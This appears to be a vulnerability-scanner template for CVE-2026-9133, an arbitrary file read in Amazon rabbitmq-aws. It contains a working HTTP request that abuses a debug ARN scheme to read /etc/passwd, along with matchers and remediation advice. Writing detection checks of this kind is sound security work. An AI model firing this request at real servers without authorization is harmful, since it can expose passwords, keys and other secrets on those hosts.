Amazon rabbitmq-aws 0.1.0 through 0.2.0 - Arbitrary File Read

id: CVE-2026-9133

info:
  name: Amazon rabbitmq-aws 0.1.0 through 0.2.0 - Arbitrary File Read
  author: ye11oc4t
  severity: high
  description: |
    Amazon rabbitmq-aws versions 0.1.0 through 0.2.0 contain active debug code in the ARN resolver. An authenticated RabbitMQ user with management API access can submit an arn:aws-debug:file ARN to the validation endpoint and read arbitrary files accessible to the RabbitMQ process.
  impact: |
    Authenticated attackers can disclose sensitive configuration files, passwords, TLS private keys, and other secrets readable by the RabbitMQ process.
  remediation: |
    Upgrade rabbitmq-aws to version 0.2.1 or later. If upgrading is not immediately possible, disable the aws plugin and rotate secrets stored in files that the RabbitMQ process could read.
  reference:
    - https://github.com/amazon-mq/rabbitmq-aws/security/advisories/GHSA-8554-wg4r-7hxm
    - https://aws.amazon.com/security/security-bulletins/2026-034-aws/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-9133
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 7.7
    cve-id: CVE-2026-9133
    epss-score: 0.00344
    epss-percentile: 0.27175
    cwe-id: CWE-489
  metadata:
    verified: true
    max-request: 1
    vendor: amazon
    product: rabbitmq-aws
  tags: cve,cve2026,amazon,rabbitmq,aws,lfi,authenticated

variables:
  username: "{{username}}"
  password: "{{password}}"
  credentials: "{{ username + ':' + password }}"

http:
  - raw:
      - |
        PUT /api/aws/arn/validate HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Basic {{base64(credentials)}}

        {"arns":["arn:aws-debug:file:::/etc/passwd"]}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "arn:aws-debug:file:::/etc/passwd")'
          - 'contains(content_type, "application/json")'
          - 'regex("root:[x*]:0:0:", body)'
          - 'status_code == 200'
        condition: and
# digest: 490a0046304402206d5780400f49e8e3ce96fa79047ad85c8ad99a0a01a226abd5fa8c6cb293c4ad02202f078b8ea0b99d9bc1cc1927f96b8ea0a19d94296a76c186c51094cba8024046:922c64590222798bb761d5b6d8e72950